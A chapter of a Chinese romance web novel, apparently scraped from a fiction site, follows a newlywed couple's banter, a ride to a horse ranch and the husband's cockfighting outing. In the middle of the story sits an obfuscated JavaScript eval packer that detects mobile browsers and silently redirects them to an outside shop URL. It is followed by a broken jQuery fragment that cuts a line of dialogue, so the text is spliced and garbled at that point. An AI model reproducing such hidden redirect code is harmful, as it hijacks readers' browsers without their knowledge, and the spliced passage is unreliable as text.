文趣网 > 其他小说 > 遇良缘:携夫君封侯 > 7. 她耍流氓!
    沈京墨见人站稳,这才松开抓住人腰带的手。

    “娘。”

    “谁是你娘,我才不是你娘。你竟敢欺负我儿子,我,我要让老爷请家法!我的儿啊。”

    叶昕然抱着自家儿子,满脸疼惜,她的儿,真是受苦了啊。

    朱兆和闻言,推开自己的娘,“娘,你怎么能骂我媳妇儿?”

    “你这臭小子,你还袒护她。还好娘来了,不然都不知道,刚新婚,你就被这恶妇欺负打骂。”

    “娘,你,你来了也不打声招呼。我,我们在,那什么,听到你来了,这才,这才,哎呀,娘,你下次进院子,你打个招呼先。”

    朱兆和说话吞吞吐吐,双手捏着衣袖,胡乱揉搓,神色扭扭捏捏。

    叶昕然见这神态,都是当娘的人了,她哪里还能不知道是什么意思。

    当即这脸上就挂不住。

    “啊,府里做了糕点,热乎的,我送来给你们尝尝。啊,趁热尝尝,娘先走了,你们,你们。啊,娘回去了。”

    叶昕然满脸尴尬神色,回想刚刚的情景,仔细想想,确实像被打断了好事一样。

    她转身向外走去,深一脚浅一脚,临出门前,还被门槛绊了一跤。

    沈京墨眼疾手快将人扶住,这才没摔。

    待人走远后,朱兆和想到先那会儿丢脸挨训,双手抱胸,抬头斜望向天。

    “哼,别以为是帮你,我是为了我男人的尊严!”

    朱兆和鼻孔朝天,一脸老子才不是为了你的样子。

    沈京墨拿起一块糕点喂给他。

    他下意识咬了一口,糕点入口即化,甜香味在唇腔里蔓延。

    沈京墨:“好吃吗?”

    朱兆和点点头,就着她的手,又咬了一口,“好吃,你也尝尝。”

    “好。”

    “唔!”

    “嗯,是好吃。”

    朱兆和满脸通红,抿了抿唇,“是让你吃糕点。”

    “嗯,是吃糕点。”

    “你,你,你,你耍流氓。”

    “今日打断了你的好事,我便还你一场。”

    “啊啊啊,你,你。唔。”

    假装被打断的好事,这会儿假戏真做上了。

    沈京墨每日晨起时,朱兆和都在睡懒觉。

    人不乐意练武,也不能强求。

    自己在院子中苦练一个时辰,再去给婆母请安。

    这日,刚请安回来,就听人通传苏三小姐来了。

    沈京墨向外面走去。

    “这苏三小姐没事儿做吗?一个劲往少夫人这里跑做什么?”泠鸢扶额,这人怎么跟麦芽糖似的,黏上了就撕不下去了。

    “朱兆和若是醒了,你告诉他一声,我与芷蘅去了京郊马场。”

    “马场!少夫人,小姐,我也去呗?”泠鸢激动地揽住人的胳膊,不断地摇来摇去,“带我去么,带上我么,我也想骑大马,我也想搭弓射箭,我...”

    自从回了京都,能够酣畅淋漓骑马射箭的日子算是到了头。泠鸢从小跟着沈京墨,也是过惯了摔摔打打的日子,如今在京中,都快闷出病了。

    “你着人留个口信,门口等你。”沈京墨轻笑一声,摸了摸她的脑袋,这丫头想必是憋疯了。

    “欧耶!”泠鸢大喜,双脚离地,在原地跳了起来。

    一蹦一掉,去找了个丫鬟,生怕不等她似的,飞奔向府门外。

    “芷蘅,你来了。”

    “京墨姐姐,你会不会嫌我烦啊。”苏芷蘅双手背在身后,脚尖在地上画圈,低垂着头。

    先时,萧元宸给了她一抹善意,她记进了心里。

    她总是忍不住想找他。哪怕是做妾,她也没有觉得委屈。

    可旁人都说她不对,都看不起她,也不愿与她来往。

    她孤独,愈发想要去找萧元宸,愈发放不下他。

    “不会。”沈京墨摸了摸她的脑袋。

    这丫头是有些粘人,自己给予了承诺,是要遵守的。

    左右还能应付。

    “想骑马吗?”

    “骑马?我还没有骑过呢。”

    苏芷蘅有些向往,他们这些庶女,很少有参与活动的机会。姐姐倒是有跟随去猎场过。

    就算有机会去了猎场,也只是在一旁看那些男人们打猎,女眷在一旁看个乐呵罢了。

    “去京郊马场,我带你骑马。”

    “真的吗!可是我不会。”

    “我教你。”

    “京墨姐姐!你对我太好了!”苏芷蘅飞扑进人的怀里,靠在人的胸膛,脑袋蹭来蹭去,把自己的额发蹭得乱七八糟。

    脑袋蹭着绵软之处,她不由得感叹,“京墨姐姐,你好高啊。”

    沈京墨点点头,抬手将她的额发理顺,她身高确实较一般女子要高不少。

    “少夫人,安排好了,我们走吧?”泠鸢飞奔而来,全然没了先前假装的沉稳平静。

    她飞扑到沈京墨的背上,踮着脚挂着,一时之间有种回到先前的感觉,忘了尊卑礼法。

    自从来到京都,事事都要讲规矩。

    她与沈京墨从小一起长大,门面上是侍女,私底下相处如姐妹。

    担心给沈京墨丢人,自来到京都,她咬牙学着那些规矩,在外十分注重礼仪。

    如今见另一女子在沈京墨面前肆无忌惮,她再也维持不住假装的矜持。

    “都站好。”沈京墨无耐摇摇头。

    二人听话站好,跟随着一起上了马车,一路向京郊的马场而去。

    朱兆和从沉睡中醒来,下意识朝身旁搂去,搂了个空。

    摸了摸身边的床褥里,已经没有了温度。

    他在床榻上扭来扭去,翻来滚去,总算是精神了些。

    嘴里打着哈欠,晃晃悠悠坐起来,伸了个大大的懒腰。

    唤来人洗漱,“少夫人呢?”

    平日里等他醒来的这段时间,沈京墨无事可做,就会一个人默默练武,一练就是半天,也不见喊一声累。

    他又打了个哈欠,想着练武多没意思,还不如让他搂着一起再睡会儿。

    今天院子里没传来习武声,安安静静的,还真有些不习惯。

    “少夫人与苏三小姐去京郊马场了,说是傍晚时分归来。”

    这苏芷蘅是麦芽糖吗?黏上了怎么就撕不掉了。

    朱兆和扔下洗脸巾,这人最近没少来。

    总是缠着自家凶妇。

    凶妇这么凶,她怎么都不带怕的。自来熟得狠,又是搂又是抱的,切,没眼看。

    朱兆和独自用了膳,在府里四处溜达了一会儿,觉着有些无聊。

    “希文,带上金蝈蝈,随少爷我,出府找乐子去。”

    直到此时,朱兆和有些不可思议,竟然有些日子没出门寻乐子了。

    打开装蝈蝈的小笼子,“金蝈蝈”在里面蹦蹦跳跳,这里晃晃,那里触触。

    他一脸自得,这只金蝈蝈,可是战无不胜的好手。

    这论挑蝈蝈,论斗鸡,这京中,他难逢敌手。

    “希文,别忘了把‘雄鸡公’带上,这些时日凶妇在,我都没敢拿出来。”

    “少爷,少夫人在,你为什么不敢拿出来?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635919|206580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    朱兆和拿着扇柄对着人脑袋就是三下猛敲,“你忘了先时爹差点给我没收了,那凶妇比爹还凶,若是看不惯给我整没了,怎么办?”

    这些日子在府里也没做什么,他是怎么待住的?

    真是不可思议。

    他带着蝈蝈和公鸡,偷偷摸摸从后门溜了出去。

    他如今都成亲了,如果还被父亲因为这些小事儿训,那才是真丢人。

    来到常斗鸡的地方,众人看见他来,快速给人让了道。

    “哎哟,朱少爷,这些日子哪里去了,也不见来。”

    “是啊是啊,你可算是来了,最近来了一只霸王虎,打遍无敌手,快让雄鸡公上,叨死它吖的。”

    一灰衣男子抱着一只白毛黑尾的大鸡公,正得意洋洋在吆喝。

    “你们这些无毛鸡仔,还是拿回去炖汤了吧。霸王虎,来新鲜的玉米粒,吃,吃完干死它们。”

    “大家让一让,让一让,雄鸡公来了,雄鸡公来了。”

    “霸王虎是吧,这次,就让你变成软脚猫。”

    大家斗鸡都是为了乐趣,朱兆和不解这些人怎么对这“霸王虎”敌意这么强?

    “斗鸡为个乐呵,你们怎么了?”朱兆和抱着自己的大鸡公,十分不解。

    “斗鸡本来是乐趣,他故意练出一只鸡,不是叼眼珠子,就是撕咬脖颈子,只要是参赛的鸡,无一能生还。”

    “谁家的鸡不是宝贝,他毁了我们好几只。”

    “老刘的大宝贝,叶叔的老来子,张老大的亲闺女,岳老二的幺幺儿,李小哥的胖啾啾,全死了,全死了啊!”

    周遭人想着那些熟悉的鸡公都阵亡了,咬牙切齿,满是恨意。

    “什么?”朱兆和大怒,他们这群鸡友,平日里斗着玩,最多叼落几根毛,赢了就是个乐呵。

    那几只阵亡的鸡仔,可惜了了,他瞬间生气了。

    “这次不是善茬,不要让雄鸡公留手,直接给它废了,免得其他鸡再招杀祸。”

    雄鸡公是个有武德的鸡公,每次都是点到即止。大家也都喜欢跟它玩儿,它争输赢,却不造杀孽。

    朱兆和闻言,仔细观察那只白色黑尾鸡,看身着是个不错的苗子。

    可惜了。

    今儿,他的雄鸡公要造杀孽了。

    那只鸡看身着比雄鸡公要大些,但这斗鸡一事,可不是那么简单的看体型。

    两只鸡上场,相互打量,随后奋起一跃,周边是热火朝天的助威声,面前是羽毛乱飞的打斗场景。

    朱兆和胸有成竹。

    场上两只雄鸡各不相让,飞舞着翅膀,嘴壳子叨住对方就是一阵撕拉,死死夹住不放。

    耳边传来一阵欢呼声,雄鸡公掉了几片羽毛,霸王虎已经倒地不起。

    看着倒地的霸王虎,众人没有丝毫怜悯。

    众人围着朱兆和,另开了个场子,开始斗鸡玩耍。

    朱兆和抱胸静静看着眼前的场景,耳边是鸡友们的热情高涨。

    曾经最喜欢的游戏,怎么感觉有些无聊了。

    又一场毫无悬念的赢局后,朱兆和抱回自己的鸡,与众人寒暄了一会儿,蔫巴巴走了。

    众人一脸不解,这赢了怎么一点也不兴奋。

    今日也不知道是怎么回事,出门时的兴致突然就没了,朱兆和想着可能是很久不玩了,还没找到感觉。

    又跑去斗蝈蝈的地儿,赢了也不见欣喜。

    心里空落落的,总感觉缺了点什么。

    “希文,完了,你家少爷完了。”

    朱兆和仰天长叹,欲哭无泪。